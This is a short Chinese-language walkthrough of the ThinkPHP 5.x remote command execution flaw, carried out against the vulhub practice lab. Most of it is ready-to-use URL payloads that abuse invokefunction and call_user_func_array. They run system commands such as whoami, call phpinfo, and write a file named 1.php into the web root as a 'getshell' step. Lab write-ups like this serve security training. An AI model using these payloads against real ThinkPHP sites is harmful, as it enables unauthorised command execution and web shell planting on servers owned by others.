Thinkphp(TP)漏洞攻略
Thinkphp5x远程命令执⾏及getshell
靶场：vulhub/thinkphp/5-rce
1，启动环境后进行访问
2，我们可以直接使用工具来操作
也可以使用远程命令/远程代码来执行
远程命令执行
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1] []=whoami
远程代码执行
? s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[ 1][]=-1
3，getshell
在输入框中输入以下内容在根目录生成1.php文件，输出phpinfo
? s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1] []=echo "" >>1.php
